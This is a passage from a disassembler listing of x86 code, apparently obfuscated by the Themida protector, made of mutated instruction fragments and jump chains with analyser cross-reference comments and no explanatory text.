push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp-28h+arg_24], eax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55D27D: ; CODE XREF: sub_559C84+1C89j
and eax, edi
pop edi
xor eax, 13D90AD5h
mov ecx, eax
pop eax
shr ecx, 3
xor ecx, 589B03E3h
jmp loc_55B731
; ---------------------------------------------------------------------------
loc_55D296: ; CODE XREF: sub_559C84-1655j
and ecx, 372D6283h
xor ecx, 60A156C1h
jmp loc_55624A
; ---------------------------------------------------------------------------
loc_55D2A7: ; CODE XREF: sub_559C84-53FFj
push edx
mov edx, 1C6F43ABh
sub edi, edx
jmp loc_55AEFE
; ---------------------------------------------------------------------------
loc_55D2B4: ; CODE XREF: sub_559C84+4BF3j
and ecx, 1E02139Fh
jmp loc_55516C
; ---------------------------------------------------------------------------
loc_55D2BF: ; CODE XREF: sub_559C84+5E78j
push [esp+4Ch+var_4E+2]
jmp loc_553E3F
; ---------------------------------------------------------------------------
loc_55D2C7: ; CODE XREF: sub_559C84-5B57j
and ebp, 2CEE371Fh
xor ebp, 7B8148DCh
add ebx, ebp
pop ebp
jmp loc_5581CD
; ---------------------------------------------------------------------------
loc_55D2DB: ; CODE XREF: Themida_:00558112j
mov ebp, eax
jmp loc_55C961
; ---------------------------------------------------------------------------
loc_55D2E2: ; CODE XREF: Themida_:0055E17Bj
sub eax, edx
sub eax, 3D692111h
pop edx
jmp loc_559AD5
; ---------------------------------------------------------------------------
loc_55D2EF: ; CODE XREF: sub_559C84-5D02j
mov [esp+6+var_8+2], ebx
mov bl, 83h
and cl, bl
jmp loc_553A79
; ---------------------------------------------------------------------------
loc_55D2FB: ; CODE XREF: sub_559C84+381Bj
inc dh
inc dh
push cx
mov cl, 1Eh
jmp loc_55550C
; ---------------------------------------------------------------------------
loc_55D308: ; CODE XREF: sub_559C84+432j
pop eax
movzx eax, al
push dword ptr [edi+eax*4]
push 5EA4h
mov [esp+46h+var_46], eax
mov eax, 4E1B434Ch
xor [esp+46h+var_42], eax
mov eax, [esp+46h+var_46]
add esp, 4
jmp loc_5558BD
; ---------------------------------------------------------------------------
loc_55D32B: ; CODE XREF: Themida_:0055EA7Ej
pop edi
mov ecx, 32478ADDh
sub ecx, 31552C01h
jmp loc_555B1D
; ---------------------------------------------------------------------------
loc_55D33C: ; CODE XREF: sub_559C84-2E8Bj
mov ebx, ecx
pop ecx
add ebx, 616701h
add ebx, edi
sub ebx, 616701h
jmp loc_559388
; ---------------------------------------------------------------------------
loc_55D352: ; CODE XREF: sub_559C84+392j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+6Ah+var_6A]
pop esp
jmp sub_55F389
; ---------------------------------------------------------------------------
loc_55D36A: ; CODE XREF: sub_559C84+7CBj
pop eax
jmp loc_554C5B
; ---------------------------------------------------------------------------
loc_55D370: ; CODE XREF: sub_559C84+20EDj
pop [esp+6Ah+var_6A]
pop esp
jmp loc_55D639
; ---------------------------------------------------------------------------
loc_55D379: ; CODE XREF: sub_559C84-64FFj
add edi, offset loc_55699A
shr edi, 3
dec edi
not edi
inc edi
sub edi, 0C6005DDAh
shr edi, 1
xor edi, 2E2D6DFCh
add edi, 0EC36A24h
sub edi, 0CA73F8F3h
mov eax, edi
jmp loc_55B263
; ---------------------------------------------------------------------------
loc_55D3A7: ; CODE XREF: Themida_:0055851Dj
sub esp, 4
mov [esp+1Ch+var_1C], ecx
push ebp
xor [esp+20h+var_20], 1F6A57B0h
pop ecx
jmp loc_5537BB
; ---------------------------------------------------------------------------
loc_55D3BB: ; CODE XREF: sub_559C84-1FC9j
or edi, 719249F8h
neg edi
jmp loc_55B666
; ---------------------------------------------------------------------------
loc_55D3C8: ; CODE XREF: sub_559C84+4C07j
push esp
pop ebp
sub esp, 4
mov [esp+6Ah+var_6A], eax
mov eax, 6E994B17h
inc eax
add eax, 9166B4ECh
jmp loc_555E68
; ---------------------------------------------------------------------------
loc_55D3E3: ; CODE XREF: sub_5589C1+6516j
pop eax
pop ebp
push edx
mov edx, esp
jmp loc_556A84
; ---------------------------------------------------------------------------
loc_55D3ED: ; CODE XREF: sub_559C84-5679j
push edi
jmp loc_55A496
; ---------------------------------------------------------------------------
loc_55D3F3: ; CODE XREF: sub_559C84-4471j
mov cx, word ptr [esp+30h+var_30]
add esp, 2
push 17Fh
mov [esp+30h+var_30], ebx
mov ebx, esp
push ebp
mov ebp, 418463BBh
sub ebp, 75377850h
jmp loc_556EF6
; ---------------------------------------------------------------------------
loc_55D418: ; CODE XREF: sub_554D6A+9A71j
push ecx
mov ecx, esp
push eax
mov eax, 79E62DEDh
shr eax, 5
xor eax, 52BB6457h
add eax, 4D317BD2h
push ecx
mov ecx, 3CD020DDh
jmp loc_5572EF
; ---------------------------------------------------------------------------
mov eax, edi
jmp loc_55E7E7
; ---------------------------------------------------------------------------
loc_55D440: ; CODE XREF: sub_559C84-DD7j
add ebx, 4
sub ebx, 4
xchg ebx, [esp+4Ch+var_4E+2]
mov esp, [esp+4Ch+var_4E+2]
mov [esp+4Ch+var_4E+2], edx
mov edx, 4387E6CFh
add eax, 341C2381h
add eax, edx
sub eax, 341C2381h
jmp loc_55F207
; ---------------------------------------------------------------------------
loc_55D46B: ; CODE XREF: sub_558BA2-50D8j
pop edi
jmp loc_55FAB3
; ---------------------------------------------------------------------------
loc_55D471: ; CODE XREF: sub_557AD1+1Aj
pop esi
add edi, ebx
pop ebx
sub esp, 4
mov [esp+44h+var_46+2], eax
mov eax, 2
add edi, eax
pop eax
push 4346h
mov [esp+44h+var_46+2], edi
jmp loc_55F2AF
; ---------------------------------------------------------------------------
loc_55D493: ; CODE XREF: sub_559C84-5DA0j
mov edi, [esp+6+var_8+2]
add esp, 4
jmp loc_55CB6B
; ---------------------------------------------------------------------------
loc_55D49E: ; CODE XREF: sub_559C84+402Fj
pop ecx
jmp loc_55D2FB
; ---------------------------------------------------------------------------
lodsb
jmp loc_55DB67
; ---------------------------------------------------------------------------
loc_55D4AA: ; CODE XREF: sub_559C84+265Dj
mov ebx, 4
add eax, ebx
pop ebx
xchg eax, [esp+48h+var_4A+2]
pop esp
jmp loc_55E675
; ---------------------------------------------------------------------------
push [esp+44h+var_46+2]
mov eax, [esp+48h+var_4A+2]
push ebp
mov ebp, esp
push ecx
mov ecx, 5CFA14E0h
and ecx, 6D0737B4h
jmp loc_55448F
; ---------------------------------------------------------------------------
loc_55D4D5: ; CODE XREF: Themida_:0055817Cj
shl esi, 6
sub esi, 1
jmp loc_558D71
; ---------------------------------------------------------------------------
loc_55D4E3: ; CODE XREF: sub_5558B3+5j
push eax
mov eax, 0B0E6C24Bh
sub ebp, 76FD7F09h
add ebp, eax
jmp loc_55A21A
; ---------------------------------------------------------------------------
loc_55D4F6: ; CODE XREF: sub_559C84-640Dj
push edx
mov edx, 7450121h
mov esi, edx
pop edx
add ebx, esi
pop esi
jmp loc_5576F4
; ---------------------------------------------------------------------------
loc_55D507: ; CODE XREF: Themida_:005549F8j
push ecx
sub esp, 4
mov [esp+38h+var_3A+2], ebx
mov bl, 0D7h
add bl, 7Ah
push cx
mov cl, 33h
add bl, cl
jmp loc_55F940
; ---------------------------------------------------------------------------
loc_55D521: ; CODE XREF: sub_559C84-A6Fj
xor ch, 39h
sub ch, 0DDh
jmp loc_555609
; ---------------------------------------------------------------------------
loc_55D52C: ; CODE XREF: sub_559C84+4F2j
mov edx, 51F317FAh
or edx, 523E028Eh
add edx, 36253E33h
add edx, 75DBA9D3h
add ebp, edx
pop edx
add ebp, 4
push ebp
push [esp+14h+var_10]
mov ebp, [esp+18h+var_18]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+1Ch+var_1C]
pop esp
pop [esp+18h+var_18]
pop esp
xchg ebp, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
jmp loc_5593A7
; ---------------------------------------------------------------------------
loc_55D573: ; CODE XREF: sub_559C84-33E3j
mov esi, 76F46C62h
mov ebp, esi
mov esi, [esp-12h+arg_C+2]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp-0Eh+arg_8+2]
pop esp
push 872h
jmp loc_5557C0
; ---------------------------------------------------------------------------
loc_55D59A: ; CODE XREF: sub_559C84-2D03j
mov eax, 4
add edx, 7E471D04h
sub edx, eax
sub edx, 7E471D04h
jmp loc_555F84
; ---------------------------------------------------------------------------
loc_55D5B2: ; CODE XREF: sub_559C84+5472j
sub eax, 60B74DF5h
mov edx, [esp+14h+var_14]
add esp, 4
push eax
jmp loc_55E715
; ---------------------------------------------------------------------------
loc_55D5C6: ; CODE XREF: sub_559C84+3D54j
add eax, 232E5611h
pop edx
jmp loc_55A5C8
; ---------------------------------------------------------------------------
loc_55D5D1: ; CODE XREF: sub_559C84-2DAFj
pop esp
mov [esp+14h+var_14], esi
push 6C94h
mov [esp+18h+var_18], esp
jmp loc_556B93
; ---------------------------------------------------------------------------
loc_55D5E2: ; CODE XREF: Themida_:0055E967j
pop ebx
or eax, 661D5922h
jmp loc_5545AD
; ---------------------------------------------------------------------------
loc_55D5ED: ; CODE XREF: sub_559C84+5F8Ej
mov ah, 0E2h
add bl, ah
jmp loc_559620
; ---------------------------------------------------------------------------
loc_55D5F6: ; CODE XREF: sub_559C84+2B58j
not ch
xor ch, 9Bh
shr ch, 6
xor ch, al
xor al, ch
xor ch, al
jmp loc_55F7E5
; ---------------------------------------------------------------------------
loc_55D609: ; CODE XREF: sub_559C84+60Cj
mov [esp+14h+var_14], edi
push esp
jmp loc_55FB7D
; ---------------------------------------------------------------------------
loc_55D612: ; CODE XREF: Themida_:005594EBj
shr ebx, 7
jmp sub_555C35
; ---------------------------------------------------------------------------
loc_55D61A: ; CODE XREF: sub_559C84-4814j
add esi, ecx
add esi, 6B736177h
jmp loc_55475B
; ---------------------------------------------------------------------------
loc_55D627: ; CODE XREF: sub_559C84+5882j
or dl, ch
pop ecx
push 0DF9h
jmp loc_5538CF
; ---------------------------------------------------------------------------
loc_55D634: ; CODE XREF: Themida_:00554A82j
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55D639: ; CODE XREF: sub_559C84+36F0j
push [esp+62h+var_64+2]
push dword ptr [esp+0]
mov edx, [esp+6Ah+var_6A]
add esp, 4
push ebx
mov ebx, esp
sub esp, 4
jmp loc_5572DE
; ---------------------------------------------------------------------------
loc_55D656: ; CODE XREF: sub_559C84-56B4j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+38h+var_3A+2]
pop esp
push 461Ch
mov [esp+38h+var_3A+2], esi
mov esi, esp
push edx
mov edx, 643A4925h
and edx, 6F107CFFh
not edx
jmp loc_55846D
; ---------------------------------------------------------------------------
loc_55D683: ; CODE XREF: sub_559C84-3D9Ej
push ebx
mov ebx, 5C65623Ch
add [esp+56h+var_52], ebx
pop ebx
jmp loc_55ACA0
; ---------------------------------------------------------------------------
loc_55D693: ; CODE XREF: sub_559C84-3A35j
add esp, 4
jmp loc_557311
; ---------------------------------------------------------------------------
loc_55D69B: ; CODE XREF: sub_558204+Aj
pop ebx
sub [edi+24h], edx
jmp loc_5574F7
; ---------------------------------------------------------------------------
loc_55D6A4: ; CODE XREF: sub_559C84+4BADj
mov bl, 0D8h
shr bl, 1
jmp loc_55A394
; ---------------------------------------------------------------------------
loc_55D6AD: ; CODE XREF: sub_559C84+1089j
mov esp, [esp+38h+var_3A+2]
test cx, ax
pushf
jmp loc_55585D
; ---------------------------------------------------------------------------
loc_55D6B9: ; CODE XREF: sub_559C84+26E0j
pop esp
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55D6BF: ; CODE XREF: Themida_:0055FB0Fj
add ebp, edx
sub ebp, 3BB1784Bh
pop edx
add ebp, 4
xor ebp, [esp-0Ah+arg_4+2]
jmp loc_558169
; ---------------------------------------------------------------------------
loc_55D6D6: ; CODE XREF: Themida_:0055573Fj
add edi, eax
pop eax
push eax
mov eax, 4
sub esp, 4
mov [esp-6+arg_0+2], eax
mov eax, 3B010A8Fh
add edi, eax
pop eax
add edi, eax
sub edi, 3B010A8Fh
jmp loc_55B7EE
; ---------------------------------------------------------------------------
push [esp-0Ah+arg_4+2]
mov eax, [esp-6+arg_0+2]
add esp, 4
jmp loc_55EE33
; ---------------------------------------------------------------------------
loc_55D70B: ; CODE XREF: sub_559C84+5B65j
add ch, 1
push 435Bh
mov [esp-6+arg_0+2], ebx
push eax
mov ah, 6Dh
mov bl, ah
pop eax
push ecx
mov ch, 0D0h
add bl, ch
pop ecx
jmp loc_5537F3
; ---------------------------------------------------------------------------
loc_55D727: ; CODE XREF: sub_559C84+3ED3j
add eax, ecx
add eax, 70AB6DC5h
mov ecx, [esp-6+arg_0+2]
add esp, 4
sub edi, 274C6E9Ah
add edi, eax
jmp loc_55655B
; ---------------------------------------------------------------------------
loc_55D741: ; CODE XREF: sub_559C84-B28j
neg esi
jmp loc_557E20
; ---------------------------------------------------------------------------
loc_55D748: ; CODE XREF: sub_559C84+564j
push edx
push ebx
jmp loc_55A8FA
; ---------------------------------------------------------------------------
loc_55D74F: ; CODE XREF: sub_559C84-5366j
mov dh, 5Fh
jmp loc_5558D4
; ---------------------------------------------------------------------------
loc_55D756: ; CODE XREF: sub_559C84+24B5j
mov eax, 3D71017Dh
shr eax, 7
not eax
xor eax, 1EB46DB4h
xor eax, 11B66401h
shr eax, 7
push ebp
mov ebp, 14555A83h
jmp loc_55F92C
; ---------------------------------------------------------------------------
loc_55D778: ; CODE XREF: sub_559C84+2A93j
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp-16h+arg_10+2]
jmp loc_554AA0
; ---------------------------------------------------------------------------
loc_55D792: ; CODE XREF: sub_559C84-291j
add ebp, 4
xchg ebp, [esp-10h+arg_C]
pop esp
push ecx
mov ecx, esp
add ecx, 4
push edx
jmp loc_553BF7
; ---------------------------------------------------------------------------
mov ax, word ptr [esp-0Ch+arg_8]
sub esp, 4
jmp loc_556870
; ---------------------------------------------------------------------------
loc_55D7B7: ; CODE XREF: sub_559C84+4D50j
mov esi, esp
jmp sub_55590A
; ---------------------------------------------------------------------------
loc_55D7BE: ; CODE XREF: sub_559C84-215Fj
inc edi
shr edi, 1
sub edi, 0E7C40DDFh
mov ebp, edi
pop edi
jmp loc_55E006
; ---------------------------------------------------------------------------
loc_55D7CF: ; CODE XREF: sub_559C84+2215j
sub edx, 4
xchg edx, [esp+40h+var_42+2]
pop esp
jmp loc_553CA4
; ---------------------------------------------------------------------------
loc_55D7DE: ; CODE XREF: sub_559C84-819j
sub ebx, 0F4B12A1h
pop edx
add ebx, 2
xchg ebx, [esp+48h+var_4A+2]
mov esp, [esp+48h+var_4A+2]
ror [esp+48h+var_4A+2], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55D7F7: ; CODE XREF: sub_559C84+B4Fj
xor ch, 0E5h
mov al, ch
pop ecx
mov dh, al
jmp loc_55C957
; ---------------------------------------------------------------------------
loc_55D804: ; CODE XREF: sub_559C84+3E37j
add esi, 279C65DAh
mov ebx, [esp-22h+arg_1C+2]
jmp loc_55BD65
; ---------------------------------------------------------------------------
loc_55D812: ; CODE XREF: sub_559C84-4C27j
add esi, 8A4F15h
pop ebp
add esi, 2
xchg esi, [esp+42h+var_42]
pop esp
push ebx
push ecx
mov ch, dl
jmp loc_55CF4E
; ---------------------------------------------------------------------------
loc_55D82C: ; CODE XREF: Themida_:00558C2Ej
mov [esp+46h+var_46], ecx
mov ecx, 2
add ebx, ecx
jmp loc_55B571
; ---------------------------------------------------------------------------
loc_55D83B: ; CODE XREF: sub_559C84-2AA5j
sub ebx, 127C0436h
pop ebp
jmp loc_558D03
; ---------------------------------------------------------------------------
loc_55D847: ; CODE XREF: sub_559C84+2828j
push ebp
not dword ptr [esp+0]
pop ebp
shr ebp, 8
neg ebp
push esi
mov esi, 652D00A9h
shr esi, 1
shl esi, 8
dec esi
jmp loc_55EB35
; ---------------------------------------------------------------------------
loc_55D862: ; CODE XREF: sub_559C84+4CEEj
shl cl, 2
and cl, 30h
shl cl, 2
push eax
mov ah, 0D4h
add ah, 0A2h
sub cl, ah
pop eax
add bl, 17h
sub bl, cl
sub bl, 17h
mov ecx, [esp+0]
jmp loc_55F2E5
; ---------------------------------------------------------------------------
loc_55D884: ; CODE XREF: sub_559C84+4FCCj
pop esp
add esi, edi
pop edi
push esi
push [esp+32h+var_30+2]
pop esi
pop [esp+32h+var_34+2]
pop esp
rol [esp+2Ah+var_2C+2], cl
pushf
jmp loc_55CF60
; ---------------------------------------------------------------------------
loc_55D89B: ; CODE XREF: sub_559C84-2699j
inc edi
sub edi, 9D33DABh
push edi
push edi
mov edi, 340F179Eh
add [esp+50h+var_4E+2], edi
pop edi
push [esp+4Ch+var_4E+2]
pop eax
add esp, 4
push ebp
mov ebp, 340F179Eh
sub eax, ebp
pop ebp
pop edi
xor eax, 678615A5h
sub esp, 4
jmp loc_555818
; ---------------------------------------------------------------------------
loc_55D8CF: ; DATA XREF: Themida_:00553474o
lodsd
xor eax, ebx
push ecx
sub esp, 4
mov [esp+50h+var_52+2], edx
push 58014318h
push dword ptr [esp+0]
pop edx
add esp, 4
neg edx
push eax
mov eax, 4FE06BD3h
and edx, eax
pop eax
push ebp
jmp loc_559C3F
; ---------------------------------------------------------------------------
loc_55D8FC: ; CODE XREF: sub_559C84-4C8j
sub edi, 101D87C9h
sub edx, edi
mov edi, [esp+4Ah+var_4A]
add esp, 4
mov ecx, edx
pop edx
jmp loc_558EA0
; ---------------------------------------------------------------------------
loc_55D912: ; CODE XREF: sub_55E342-6812j
push ecx
mov ecx, 35F1145Ch
xor ecx, 28945C75h
jmp loc_55F768
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+46h+var_46]
push 1728h
jmp loc_55EADE
; ---------------------------------------------------------------------------
loc_55D931: ; CODE XREF: sub_559C84-47CDj
mov [esp+44h+var_46+2], edx
mov edx, 4F2E3DABh
push ebp
jmp loc_55C93C
; ---------------------------------------------------------------------------
loc_55D93F: ; CODE XREF: sub_559C84+3296j
push dword ptr [esp+0]
pop edx
add esp, 4
push 1E2Bh
mov [esp+0], ecx
mov ecx, 5E817A03h
push ebp
mov ebp, 4B37ABDh
or ecx, ebp
pop ebp
dec ecx
sub ecx, 0FF80328Fh
jmp loc_55F35E
; ---------------------------------------------------------------------------
loc_55D96B: ; CODE XREF: Themida_:0055E4F1j
mov cl, 0EEh
neg cl
sub cl, 0E1h
jmp loc_55E82D
; ---------------------------------------------------------------------------
loc_55D977: ; CODE XREF: sub_559C84+6B3j
pop edx
add edx, 4
push ecx
mov ecx, 4
add edx, ecx
mov ecx, [esp+4Ch+var_4E+2]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+50h+var_52+2]
jmp loc_55A348
; ---------------------------------------------------------------------------
loc_55D99D: ; CODE XREF: sub_559C84+20D1j
mov edi, [esp+62h+var_64+2]
add esp, 4
mov eax, [esp+5Eh+var_60+2]
add esp, 4
sub eax, 0DF10B35h
push ebx
mov ebx, 768309EAh
add ebx, 54A70E5Fh
jmp loc_557C5E
; ---------------------------------------------------------------------------
loc_55D9C5: ; DATA XREF: Themida_:00553288o
push [esp+5Eh+var_60+2]
pop edx
jmp loc_55A28B
; ---------------------------------------------------------------------------
loc_55D9CE: ; CODE XREF: sub_55F673+6j
add edx, ebp
pop ebp
sub eax, 232E5611h
add eax, edx
jmp loc_55D5C6
; ---------------------------------------------------------------------------
loc_55D9DD: ; CODE XREF: sub_55E48F+5j
sub esp, 4
push esp
pop [esp+62h+var_64+2]
jmp loc_55DBAB
; ---------------------------------------------------------------------------
loc_55D9EC: ; CODE XREF: sub_559C84-3077j
xor cl, 44h
add bl, cl
pop ecx
push small 4A81h
mov word ptr [esp+48h+var_4A+2], ax
push ecx
mov ch, 0AEh
push edx
jmp loc_55B56A
; ---------------------------------------------------------------------------
loc_55DA03: ; CODE XREF: sub_559C84-5FFCj
movzx eax, al
lea eax, [edi+eax*4]
push 1C2Ah
mov [esp+24h+var_24], edi
mov edi, esp
push esi
mov esi, 18740802h
jmp loc_55F218
; ---------------------------------------------------------------------------
loc_55DA1E: ; CODE XREF: Themida_:005545DFj
add esp, 2
xor word ptr [esp+24h+var_24], dx
xor dx, word ptr [esp+24h+var_24]
jmp loc_55AB10
; ---------------------------------------------------------------------------
loc_55DA2E: ; CODE XREF: sub_559C84+5EC5j
pop [esp+24h+var_24]
pop esp
xor al, dl
pop edx
sub bl, 0EEh
jmp loc_556AAB
; ---------------------------------------------------------------------------
loc_55DA3D: ; CODE XREF: sub_559C84-1E1Fj
pop esi
add ebx, 2A2655ABh
jmp loc_5548B6
; ---------------------------------------------------------------------------
push [esp-0Eh+arg_8+2]
jmp loc_5583CC
; ---------------------------------------------------------------------------
loc_55DA51: ; CODE XREF: sub_559C84-2EE2j
push [esp+40h+var_42+2]
pop eax
jmp loc_55AA82
; ---------------------------------------------------------------------------
loc_55DA5A: ; CODE XREF: sub_559C84-20BCj
push ecx
mov ch, 94h
jmp loc_558105
; ---------------------------------------------------------------------------
loc_55DA62: ; CODE XREF: sub_559C84-3946j
mov edx, esp
push ebp
mov ebp, 552F6EA1h
jmp loc_55B6C6
; ---------------------------------------------------------------------------
loc_55DA6F: ; CODE XREF: sub_559C84-3E95j
push 13BEh
mov [esp+6Ah+var_6A], ebx
push edx
mov ebx, [esp+6Eh+var_70+2]
add esp, 4
mov edx, [esp+6Ah+var_6A]
add esp, 4
push ebx
jmp loc_55E162
; ---------------------------------------------------------------------------
loc_55DA90: ; CODE XREF: sub_559C84-447j
pop esp
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55DA96: ; CODE XREF: sub_559C84+1725j
add edx, esi
jmp loc_557D79
; ---------------------------------------------------------------------------
loc_55DA9D: ; CODE XREF: sub_559C84+5F10j
add esi, 4
jmp loc_555B58
; ---------------------------------------------------------------------------
sub esp, 4
jmp loc_55A1ED
; ---------------------------------------------------------------------------
loc_55DAB0: ; CODE XREF: sub_559C84+9D7j
sub edx, 985359A4h
sub esi, edx
pop edx
add esi, ebx
jmp loc_55D804
; ---------------------------------------------------------------------------
loc_55DAC0: ; CODE XREF: Themida_:005541B3j
sub esp, 4
mov [esp+4Ch+var_4E+2], eax
jmp loc_558057
; ---------------------------------------------------------------------------
loc_55DACE: ; CODE XREF: sub_55FA73-B2E8j
push ecx
mov ecx, 389D4E0Bh
mov edi, 260C153Fh
jmp loc_5599C6
; ---------------------------------------------------------------------------
loc_55DADE: ; CODE XREF: sub_559C84-48FBj
add esi, 4
jmp loc_5540EB
; ---------------------------------------------------------------------------
loc_55DAE9: ; CODE XREF: sub_559C84-3754j
xor ecx, [esp+50h+var_52+2]
xor [esp+50h+var_52+2], ecx
xor ecx, [esp+50h+var_52+2]
pop esp
push 5221h
mov [esp+50h+var_52+2], ebx
push 2FEE7CB6h
pop ebx
jmp loc_557BEF
; ---------------------------------------------------------------------------
loc_55DB06: ; CODE XREF: sub_559C84-6273j
pop esp
jmp loc_55825D
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+4Ah+var_4A]
push 2356h
mov [esp+4Eh+var_4E], eax
mov eax, esp
push esi
push edi
mov edi, 404C180Ah
mov esi, edi
jmp loc_55BC53
; ---------------------------------------------------------------------------
loc_55DB28: ; CODE XREF: sub_559C84+1C75j
sub ebp, esi
jmp loc_55832E
; ---------------------------------------------------------------------------
loc_55DB2F: ; CODE XREF: sub_559C84+27CBj
push 6889h
mov [esp+0], edi
push esi
push 39D449D3h
jmp loc_5556DF
sub_559C84 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55DB42: ; CODE XREF: sub_559C84-504Fj
mov ebx, 4
jmp loc_557399
; ---------------------------------------------------------------------------
loc_55DB4C: ; CODE XREF: sub_559C84+2383j
xor ecx, 0A43739D1h
sub eax, 70AB6DC5h
jmp loc_55D727
; ---------------------------------------------------------------------------
loc_55DB5C: ; CODE XREF: sub_559C84+5F9j
add edx, 28656DD1h
jmp loc_5579B2
; ---------------------------------------------------------------------------
loc_55DB67: ; CODE XREF: sub_559C84+3821j
sub al, 1Ah
jmp loc_5584DA
; ---------------------------------------------------------------------------
loc_55DB6E: ; CODE XREF: sub_559C84-B1j
push ecx
push edi
mov edi, 51F12702h
mov ecx, 51F12703h
sub ecx, edi
jmp loc_55A9F0
; ---------------------------------------------------------------------------
loc_55DB81: ; CODE XREF: sub_559C84+5B7Bj
shr eax, 6
sub eax, 10FC4BBh
mov edi, eax
pop eax
sub edx, 31517578h
add edx, edi
add edx, 31517578h
mov edi, [esp+30h+var_30]
add esp, 4
xchg edx, [esp+2Ch+var_2C]
jmp loc_55545B
; ---------------------------------------------------------------------------
loc_55DBAB: ; CODE XREF: sub_559C84+3D63j
add [esp+5Eh+var_60+2], 4
pop ecx
push 79CFh
mov [esp+5Eh+var_60+2], ebx
sub esp, 4
mov [esp+62h+var_64+2], ecx
push ebx
mov ebx, 64F1FB4h
inc ebx
xor ebx, 31AB3828h
sub ebx, 27E713BDh
jmp loc_55C371
; ---------------------------------------------------------------------------
loc_55DBD6: ; CODE XREF: sub_559C84-42FEj
add esp, 4
and eax, ebp
mov ebp, [esp-1Ch+arg_18]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp-18h+arg_14]
jmp loc_557F85
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_55DBF3 proc near ; CODE XREF: sub_559C84-3895j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00557A2F SIZE 00000017 BYTES
push ebp
mov ebp, esp
jmp loc_557A2F
sub_55DBF3 endp
; =============== S U B R O U T I N E =======================================
sub_55DBFB proc near ; DATA XREF: Themida_:0055347Co
var_4 = dword ptr -4
push dword ptr [esp+0]
push [esp+4+var_4]
pop eax
push edx
mov edx, esp
jmp loc_55BAAE
sub_55DBFB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55DC0A: ; CODE XREF: sub_559C84-3630j
add eax, 55DA3425h
jmp loc_554F9E
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55DC14 proc near ; CODE XREF: sub_559C84-747j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00553F56 SIZE 00000025 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
jmp loc_553F56
sub_55DC14 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55DC22: ; CODE XREF: sub_559C84-396Cj
cmp cx, ax
pushf
jmp loc_554E7D
; ---------------------------------------------------------------------------
loc_55DC2B: ; CODE XREF: sub_559C84-1A3j
not edx
push ebp
mov ebp, 15A7A9Bh
neg ebp
jmp loc_55D217
; ---------------------------------------------------------------------------
loc_55DC3A: ; CODE XREF: sub_559C84+50AAj
mov [esp+48h+var_4A+2], ecx
jmp loc_558DE4
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555D07
loc_55DC42: ; CODE XREF: sub_555D07+Dj
mov [esp+4+var_4], esi
push 6704h
mov [esp+8+var_8], ebx
mov ebx, 3D653C54h
mov esi, 3D653C50h
xor esi, ebx
jmp loc_5586E7
; END OF FUNCTION CHUNK FOR sub_555D07
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55DC5E: ; CODE XREF: sub_559C84+19A6j
push 0FFFFFFFFh
mov ebx, [esp+0Eh+var_10+2]
jmp loc_555399
; ---------------------------------------------------------------------------
loc_55DC6B: ; CODE XREF: sub_559C84-4F60j
pop eax
shr bl, 1
inc bl
jmp loc_55CF99
; ---------------------------------------------------------------------------
loc_55DC75: ; CODE XREF: sub_559C84-1D2Aj
pop ebx
push esi
push [esp+40h+var_3E+2]
pop esi
jmp loc_553D3F
; ---------------------------------------------------------------------------
loc_55DC81: ; CODE XREF: sub_559C84+D4j
mov edi, 692C6D09h
add esi, 7AE4006h
add esi, edi
sub esi, 7AE4006h
pop edi
sub ebp, esi
pop esi
jmp loc_555599
; ---------------------------------------------------------------------------
loc_55DC9D: ; CODE XREF: sub_559C84+284Aj
add esp, 4
push edi
jmp loc_55BD03
; ---------------------------------------------------------------------------
loc_55DCA9: ; CODE XREF: sub_559C84+5DEAj
not ch
sub ch, 68h
add ch, 4Ah
mov dh, ch
jmp loc_55D49E
; ---------------------------------------------------------------------------
loc_55DCB8: ; CODE XREF: sub_559C84+1560j
pop ebp
mov [edi+20h], ebx
mov ebx, [esp+4Ch+var_4E+2]
add esp, 4
add [edi+20h], esi
push [esp+48h+var_4A+2]
pop esi
push edx
push esp
jmp loc_558FA9
; ---------------------------------------------------------------------------
loc_55DCD3: ; CODE XREF: sub_559C84+203Fj
mov esi, [esp+48h+var_4A+2]
add esp, 4
jmp loc_553C4A
; ---------------------------------------------------------------------------
loc_55DCE1: ; CODE XREF: sub_559C84-5357j
mov [esp+3Ch+var_3E+2], eax
push 176D1ECDh
pop eax
shr eax, 7
shr eax, 2
push edx
push ebp
mov ebp, 6F1D7479h
mov edx, 612B46E2h
xor edx, ebp
pop ebp
push ebx
mov ebx, 65410D78h
sub ebx, 583842F1h
jmp loc_55C3C8
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55DD10 proc near ; CODE XREF: sub_559C84+E3Dj
var_4 = dword ptr -4
push ebx
mov ebx, esp
add ebx, 4
push edi
mov edi, 5B6D6C0Eh
xor edi, 5B6D6C0Ah
sub ebx, edi
pop edi
xchg ebx, [esp+4+var_4]
